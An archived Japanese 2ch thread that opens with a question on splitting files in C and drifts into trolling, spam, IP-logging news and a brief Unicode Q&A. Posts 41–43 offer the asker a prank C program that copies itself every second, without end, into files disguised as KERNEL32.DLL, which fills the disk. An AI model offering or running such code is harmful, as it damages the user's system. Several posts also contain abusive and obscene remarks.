トップページ⇒tech
104コメント29KB

C言語によるファイル分割処理のことで

■ このスレッドは過去ログ倉庫に格納されています
0001デフォルトの名無しさんNGNG
C言語で、1つのテキストファイルを複数のファイルに分割する処理を
したいのですが。
ファイル名を自動に付けていく方法がわかりません。
どなたか、わかる方がいれば、教えてください。
0002shineNGNG
shine
0003デフォルトの名無しさんNGNG
答えてやりたいが単発質問でスレを立ててはいかんな
0004デフォルトの名無しさんNGNG
     ( (   (. )
     . -‐ ) ‐- .
    .´,.::::;;:... . . _  `.
    i ヾ:;_   `_,.ン|
    l    ̄ ̄...:;:彡|
    }  . . ...::::;:;;;;;彡{ _∧
    i   . . ...:::;;;;;彡|・ω・`)これ飲んで、氏んでね。。。
    }   . .....:::;::;:;;;;彡{  /U
    !,    . .:.::;:;;;彡j  |
     ト ,  . ..,:;:;:=:彳 ∪
     ヽ、.. ....::::;;;ジ
0005デフォルトの名無しさんNGNG
〈削除依頼は?〉

〔駄目です。無視されています。
しかし>>1君!ああしなければ、他のみんながやられていたぞ!〕

「それ以上煽って僕を怒らせないでよ。
僕に残されている後185串。
これだけあればこの板の半分は壊せるよ。」

『今の彼ならやりかねませんね。』

【聞いて!>>1君!煽りさんたちの判断がなければあなたは通報されてたかもしれないのよ!?】

「そんなの関係ないよ!
煽りは・・・僕のスレッドを壊そうとしたんだ!!
この僕の手で・・・。

煽り!そこにいるんだろ?何か言ってよ!答えてよ!!」

《空白レス書き込み速度を連続投稿限界まで上げろ。》

【え!?】

《厨房のだだにつきあってる暇はない。》

「まだクッキーが残っ・・・ごはぁ!畜生・・・畜生・・・畜生・・・。」
0006デフォルトの名無しさんNGNG
とりあえずUnixの split のソース見て勉強しろ。
0007デフォルトの名無しさんNGNG
>>6
>>1はそもそも文字列操作がわからないだけのような気がする
0008デフォルトの名無しさんNGNG
>7 ファイルの操作がわからんのよ
0009デフォルトの名無しさんNGNG
stringstreamでも使え。
0010デフォルトの名無しさんNGNG
いずれにせよ、何がわからないのかもっと明確にし、その上で自分で調べることが
できないのであれば「C言語なら俺に聞け」とかのスレッドで聞いてください。
0011デフォルトの名無しさんNGNG
ここにもスレ立ててるし・・・
0012デフォルトの名無しさんNGNG
>>11
ここ以外にも立ててるの?
0013デフォルトの名無しさんNGNG
マ板にもあります。
「これができたらプログラマー? 」
http://pc.2ch.net/test/read.cgi/prog/1027651786
0014デフォルトの名無しさんNGNG
>>13
なんか、言葉も出ないね。
0015デフォルトの名無しさんNGNG
sprintf();

>>1へ
このスレは終わったので削除依頼しておいてください。




■  糸冬  ̄ア  ■

0016デフォルトの名無しさんNGNG
保守age
0017 NGNG
10年たってもやはり、変わらないものは変わらないな
0018Disca@へっぽこフリーウエア作家NGNG
char buf[256];
FILE *pFile;

for (i= 0 ; i < 100)
{
sprintf(buf, "mona%02d.dat");

pFile= fopen(buf, "w");

fputs(pFile, "オマエモナー\n");

fclose(pFile);
}
なぜ、レスしたのだろう…鬱
0019デフォルトの名無しさんNGNG
>>18
あんたの作ったワン切りソフト。5秒もコールし続けるから電話取られて1日8万円損した。ころすぞ。
0020デフォルトの名無しさんNGNG
>>19
なにげにワラタ。ワン切り業者をこらしめてるへっぽこPGって・・・
0021デフォルトの名無しさんNGNG
保守あげ
0022デフォルトの名無しさんNGNG
(なんだろうあの変なループ…)
0023デフォルトの名無しさんNGNG
(確かにかなり変だな)
0024デフォルトの名無しさんNGNG
(大丈夫だそこを直してもまだおかしいところがある)
0025デフォルトの名無しさんNGNG
(sprintfのことか?)
0026デフォルトの名無しさんNGNG
(それもだが、まだある)
0027デフォルトの名無しさんNGNG
(うぉっ!fputs逆じゃん…最近stdio使ってないからわかんなかったよ)
0028デフォルトの名無しさんNGNG
?
0029デフォルトの名無しさんNGNG
インクリメント
%02d _???_
"w"&loop
0030デフォルトの名無しさんNGNG
バカ、今更こんなスレあげるな
0031デフォルトの名無しさんNGNG
プッ
0032デフォルトの名無しさんNGNG
22-27 ワラタ
0033デフォルトの名無しさんNGNG
(うぉっ!fputs逆じゃん…最近stdio使ってないからわかんなかったよ)
0034デフォルトの名無しさんNGNG
>7 ファイルの操作がわからんのよ
0035デフォルトの名無しさんNGNG
>>19
邪なビジネスモデルがいつまでも通用し続けると思うのが大間違い。
自業自得という言葉はご存知ですか?
0036デフォルトの名無しさんNGNG
このスレは冗談で作られたネタスレです。

すでに削除依頼済ですので、今後は書き込まないようにお願いします。

本物のスレは↓こちら。

http://pc3.2ch.net/test/read.cgi/tech/1038405432/l50
C言語のことは俺に聞け<45>
0037デフォルトの名無しさんNGNG
>>36
ツマンネ
0038ageNGNG
age
0039デフォルトの名無しさんNGNG
放置で。
0040デフォルトの名無しさんNGNG
2ch發の分割ツールってある?
0041C初級者@君が望む永遠NGNG
>>1
下記のプログラムを実行して、あなたのマシンが2038年1月19日3時14分7秒まで
処理し続けることができれば、あなたの勝ち!
もし、途中で落ちれば、あちきの勝ちッス。

#define _START_ 1
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
004241続きNGNG
const char *_format = "%04d%02d%02d_%02d%02d%02d_KERNEL32.DLL";
void filecopy( const char * );
void _stop2( char * );
void makefilename( char *, time_t );
void _fclose2( FILE ** );
void _You_Win( void );

int main( int argc, char **argv )
{
    filecopy( argv[0] );
    return ( 0 );
}

void filecopy( const char *_Myself )
{
    FILE *_infp = fopen( _Myself, "rb" ), *_otfp;
    static char _otFileName[29];
    int c;

    while( 1 ){
        _stop2( _otFileName );
        _otfp = fopen( _otFileName, "wb" );
        while( (c = fgetc( _infp )) != EOF )
            fputc( c, _otfp );
        _fclose2( &_otfp );
        rewind( _infp );
    }
}
004341続きNGNG
void _stop2( char *fileName )
{
    time_t lnow = time( NULL );
#if _START_
    if( -1 == lnow ) _You_Win();
#endif
    while( lnow == time( NULL ) );
    makefilename( fileName, lnow );
}

void makefilename( char *fileName, time_t lnow )
{
    struct tm *tnow = localtime( &lnow );
    sprintf( fileName, _format,
        1900+tnow->tm_year, 1+tnow->tm_mon, tnow->tm_mday,
        tnow->tm_hour, tnow->tm_min, tnow->tm_sec );
}

void _fclose2( FILE **_fp )
{
    fclose( *_fp );
    *_fp = NULL;        /* NULL CLEAR */
}

void _You_Win( void )
{
    _fcloseall();
    fprintf( stderr, "(--)y―~~~フゥ... どうやらあんたの勝ちのようっす...\nEnterを押して下さい:" );
    getchar();
    exit(EXIT_SUCCESS);
}
0044デフォルトの名無しさんNGNG
age
0045IP記録実験NGNG
IP記録実験
http://qb.2ch.net/test/read.cgi/accuse/1042013605/

1 名前:ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★ 投稿日:03/01/08 17:13 ID:???
そんなわけで、qbサーバでIPの記録実験をはじめましたー。

27 名前:心得をよく読みましょう 投稿日:03/01/08 17:20 ID:yL/kYdMc
SETTING.TXT管轄でないということは全鯖導入を視野に、か?

38 名前:ひろゆき ◆3SHRUNYAXA 投稿日:03/01/08 17:22 ID:rLfxQ17l
>>27
鋭いです。

73 名前:ひろゆき ◆3SHRUNYAXA 投稿日:03/01/08 17:27 ID:rLfxQ17l
>ところで、IPが抜かれて何か今までと変わることってあるのでしょうか?
・今までより、サーバが重くなる。
・裁判所や警察からの照会があった場合にはIPを提出することがある。
0046デフォルトの名無しさんNGNG
>323
立たなくなるのは大変危険かと思われ。
0047デフォルトの名無しさんNGNG
僕のIPも記録されました・・・
0048IP記録実験NGNG
IP記録実験
http://qb.2ch.net/test/read.cgi/accuse/1042013605/

1 名前:ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★ 投稿日:03/01/08 17:13 ID:???
そんなわけで、qbサーバでIPの記録実験をはじめましたー。

27 名前:心得をよく読みましょう 投稿日:03/01/08 17:20 ID:yL/kYdMc
SETTING.TXT管轄でないということは全鯖導入を視野に、か?

38 名前:ひろゆき ◆3SHRUNYAXA 投稿日:03/01/08 17:22 ID:rLfxQ17l
>>27
鋭いです。

73 名前:ひろゆき ◆3SHRUNYAXA 投稿日:03/01/08 17:27 ID:rLfxQ17l
>ところで、IPが抜かれて何か今までと変わることってあるのでしょうか?
・今までより、サーバが重くなる。
・裁判所や警察からの照会があった場合にはIPを提出することがある。
0049デフォルトの名無しさんNGNG
>>2
何故に輝いてるのか小一時間ほど(略)
0050デフォルトの名無しさんNGNG
スレってなんですか?(´Д`)
0051デフォルトの名無しさんNGNG
======2==C==H======================================================

         2ちゃんねるのお勧めな話題と
     ネットでの面白い出来事を配送したいと思ってます。。。

===============================読者数: 138720人 発行日:2003/1/9

年末年始ボケがそろそろ収まり始めた今日このごろのひろゆきです。

そんなわけで、年末に予告したIP記録ですが実験を開始しています。

「2ちゃんねる20030107」
こんな感じで各掲示板の最下部に日付が入ってるんですが、
20030107以降になってるところはログ記録実験中ですー。

んじゃ!

────────────────────────Age2ch─
■この書き込みは、Age2chを使って配信されています。
────────────────────────────
Keep your thread alive !
http://pc3.2ch.net/test/read.cgi/software/1041952901/l50
────────────────────────────
0052デフォルトの名無しさんNGNG
やほ〜のトップかよ(ワラ
0053デフォルトの名無しさんNGNG
2003年1月9日より 計2731票

匿名性に絡む問題なので反対 27% 763 票
サイトのためになるから賛成 54% 1489 票
利用しないから関係ない 8% 242 票
2ちゃんねるってなに? 4% 122 票
アクセスログってなに? 4% 115 票

みんないい香具師がおおいのか?
0054デフォルトの名無しさんNGNG
多分無理でしょうが
人徳のある方なら
早急に聞いて頂きたい件があります。

マジメな事ですが大丈夫でしょうか。
人の人生を結構破壊しているのだし
何卒ご助力仕れれば幸いですが。

以前人のパソコンハックして結構嘘の情報とか仕入れてたでしょうが。
それにも自殺間近の人間の深い意味があったのですよ。
「こんな恥ずかしいものが見られると考えると、自殺できない」
そう思う為に、嘘でも変な文章や痛々しい事柄を色々な所に残そうと考えたのです。
全部じゃないけどね。
0055デフォルトの名無しさんNGNG
>>134
>自作自演で鯖細くしたり
鯖細くするってなんすか?(^_^;)
>嘘っぱちのヒット数言ったり
2ch自体はとってないから、どっかのインターネット視聴率を
ひろゆきはいつも言ってるような。
0056デフォルトの名無しさんNGNG
同人板、同人ノウハウもだめぽ。
0057デフォルトの名無しさんNGNG
>>419
ないですよ。
未だに逮捕されていない世田谷一家の殺人予告もここ2ちゃんねるだし。
0058デフォルトの名無しさんNGNG
>>898

だから何故 2chに書かなきゃならんのだっつんだよ(笑)
壊れやすいって新聞に投書するなり
HP立ち上げて公表すりゃいいじゃない

匿名性に乗っかって言いたいこといってるようにしか見えん
真実ならIP取られたって堂々と主張しればいいじゃない
0059デフォルトの名無しさんNGNG
>>535
http://www.2ch.net/mag.html
これ
0060デフォルトの名無しさんNGNG
むしろお呼び出しかけた方がよい余寒。
0061デフォルトの名無しさんNGNG
      __ )
   γ´γ~   \
   |∞/ 从从) )    __________
   W |  |┬ イ |〃  /
   ヽリ.ハ~ ワノ  <ろりは全員皆殺しだ     | ̄|    \
  | ̄ ̄ ̄ ̄ ̄|〜 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  ◎ ̄ ̄ ̄ ̄ ̄◎ ころころ〜
0062デフォルトの名無しさんNGNG
内部告発やったら自分がただですむわけナイヨ
0063デフォルトの名無しさんNGNG
P2P掲示板をまともにつくった方が遙かに楽だと思うよ。がんがって。
0064デフォルトの名無しさんNGNG
======2==C==H======================================================

         2ちゃんねるのお勧めな話題と
     ネットでの面白い出来事を配送したいと思ってます。。。

===============================読者数: 139038人 発行日:2003/1/10

なにやら、連日メルマガだしてるひろゆきです。

そんなわけで、ログ記録実験ですが、いちいちサーバ指定するのが面倒なので、
全部のサーバに入れてみました。

重くなって落ちたりしてもご愛嬌ってことで。。。

んじゃ!

────────────────────────Age2ch─
■この書き込みは、Age2chを使って配信されています。
────────────────────────────
Keep your thread alive !
http://pc3.2ch.net/test/read.cgi/software/1041952901/l50
────────────────────────────
0065デフォルトの名無しさんNGNG
ああ、朝鮮総連とかからのIPもばれるから気をつけてね。
0066デフォルトの名無しさんNGNG
頃す。でもやばいのか?
0067デフォルトの名無しさんNGNG
P2P掲示板をまともにつくった方が遙かに楽だと思うよ。がんがって。
0068デフォルトの名無しさんNGNG
公安のスパイ「2ちゃんつぶされっぞー!」
0069デフォルトの名無しさんNGNG
そんなことはない。
2ちゃんねるだからなのです。
0070デフォルトの名無しさんNGNG
8 名前: ひろゆき@管直人 投稿日: 2000/04/07(金) 07:20
0071デフォルトの名無しさんNGNG
保守あげ
0072デフォルトの名無しさんNGNG
その「自己責任で」という部分の明確化のためだけに膨大なIPを
保管するのもずいぶんとコストばかりかかる話です。
現実的な対応として、の強制フシアナだけでも随分違うと
思うんですけどね。動物病院でも日本生命でも、そこだけを狙って
批判するスレさえ立たなければ、あれほど問題になったかどうか。
0073デフォルトの名無しさんNGNG
この板のIP記録スレはもう終了してたのか。次スレたってないようなのでこちらに。

自分でもこじつけだと思うのだが、今の2ちゃんねるはそれなりに「国民クイズ」の
37話あたりに近いような気はしている。「国民クイズ」は全44話、2ちゃんねるは
44ヶ月。「国民クイズ」はお話しとしては44話で終わるのだが、「国民クイズ」
体制は続いていく(というか、多少形を変えて世界に広がっていく)。主人公の
K井K一は「国民クイズ」に参加し、敗北して、その刑罰としてクイズ番組の司会者となる。
しかし、「国民クイズ」の司会者となった彼は水を得た魚のようになり、しまいには
「国民の意思」通りに動こうとして壁にぶつかる。

なんとなくひろゆきがK井に重なるんだが。まあ、考え過ぎだろうな。
0074デフォルトの名無しさんNGNG
書き込みしなければ記録されないんですよね?
0075デフォルトの名無しさんNGNG
あーっはっは!
久しぶりに笑ったよ!
0076デフォルトの名無しさんNGNG
メロパンナというのは気合いはいってるな!!IPとることにしたのにソンゴクウと同じことしてやがる。俺なんかマンコとかくだけで全エネルギー使い果たすほど緊張してるつてのによ
0077デフォルトの名無しさんNGNG
煤i´Д`;
あたし、タイーホなんですか?

(((( ;゚Д゚)))ガクガクブルブル
0078デフォルトの名無しさんNGNG
6 名前:心得をよく読みましょう 投稿日:02/12/31 12:49 ID:ADTGAx9x
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
0079デフォルトの名無しさんNGNG
fusianasan
0080デフォルトの名無しさんNGNG
そんなに法律に頼りたいならインターネットアクセス自体を免許制にすれば?
0081デフォルトの名無しさんNGNG
そうなんすか。どうもです。
0082山崎渉NGNG
(^^)
0083デフォルトの名無しさんNGNG
猪木!ボンバイエ!(ファイッ!ファイッ!×2)
0084山崎渉NGNG
(^^)
0085山崎渉NGNG
(^^)
0086デフォルトの名無しさんNGNG
(うぉっ!fputs逆じゃん…最近stdio使ってないからわかんなかったよ)
0087山崎渉NGNG
(^^)
0088山崎渉NGNG
   ∧_∧
  (  ^^ )< ぬるぽ(^^)
0089山崎渉NGNG
     ∧_∧
ピュ.ー (  ^^ ) <これからも僕を応援して下さいね(^^)。
  =〔~∪ ̄ ̄〕
  = ◎――◎                      山崎渉
0090デフォルトの名無しさんNGNG
僕のIPも記録されました・・・
0091デフォルトの名無しさんNGNG
http://jbbs.shitaraba.com/computer/6765/
0092デフォルトの名無しさんNGNG
すみません、教えて下さい。
UNICODEファイルにLittle EndianとBig Endianの2種類があるんですか?
それとも、ファイルを読み込んだときに、並びが変わるんでしょうか?

↓
ttp://member.nifty.ne.jp/m-and-i/tips/unicode.htm
Unicodeのファイルを読み込む
 Unicodeのテキストファイルを読み込み、Shift-JISのテキストとして返す関数です。
 DOSやWindowsの形式(Little Endian)用と、Big Endian用の二つがあります。
0093デフォルトの名無しさんNGNG
>>92
> UNICODEファイルにLittle EndianとBig Endianの2種類があるんですか?
ある。UTF-16LEとUTF-16BEとか呼ばれることが多い。
0094デフォルトの名無しさんNGNG
サンクス>>93

>UTF-16LEとUTF-16BEとか
UCSとUTFの違いってなんでしょう。UCS-16LEとUCS-16BEと逝っても同じですか?
0095デフォルトの名無しさんNGNG
> UCSとUTFの違いってなんでしょう。
概念的に別物。
UCS = Universal Character Set 汎用の文字集合
UTF = UCS transformation format UCSを既存のASCIIコンパチにするために考えられたエンコーディングフォーマット

> UCS-16LEとUCS-16BEと逝っても同じですか?
UCSはUCS-2(16bit文字集合)とUCS-4(同32bit)に分かれる。
UCS-2をそのまま使うUCS-2BEというのもあるが、これはサロゲートを含む
UTF-16BEとは文字集合自体が異なる。
まぁBMP(Basic Multilingual Plane)しか考えないなら実質的には同じになる
けど。
0096デフォルトの名無しさんNGNG
結構難しいですね。>>95

>UCS = Universal Character Set 汎用の文字集合
>UTF = UCS transformation format UCSを既存のASCIIコンパチ
なるほど、今までの「文字コード」という概念が、2段になってるわけですね。
UCSで文字の実態を定義して、それに対して適当に連番振っといて、
プログラム中にはUTFで再定義された実用的なコード番号として現れる、みたいな。

で、あってますか?
0097デフォルトの名無しさんNGNG
>>96
> なるほど、今までの「文字コード」という概念が、2段になってるわけですね。
いや、JISとSJIS,EUC-JP,ISO-2022-JPなんかの関係と一緒なんだけど。

> UCSで文字の実態を定義して、それに対して適当に連番振っといて、
> プログラム中にはUTFで再定義された実用的なコード番号として現れる、みたいな。
再定義っつーか、文字集合をバイト列として表現する方法が、エンコーディング。

# ところで、かなりスレ違いのような気が。
0098山崎 渉NGNG

 __∧_∧_
 |(  ^^ )| <寝るぽ(^^)
 |\⌒⌒⌒\
 \ |⌒⌒⌒~|         山崎渉
   ~ ̄ ̄ ̄ ̄
0099山崎 渉NGNG
(^^)
0100山崎 渉NGNG
    (⌒V⌒)
   │ ^ ^ │<これからも僕を応援して下さいね(^^)。
  ⊂|    |つ
   (_)(_)                      山崎パン
0101abcNGNG
お気に入り集 ☆
http://beauty.h.fc2.com/
0102デフォルトの名無しさんNGNG
ここの住人は1と同じで恥ずかしいですね。
面と向かって人とお話もできないチンカス集団ですよ。
おれ以外はw
0103デフォルトの名無しさんNGNG
やめてよしこさわらないであかがつくからー
0104デフォルトの名無しさんNGNG
exit(EXIT_FAILURE); /* 終了 */
■ このスレッドは過去ログ倉庫に格納されています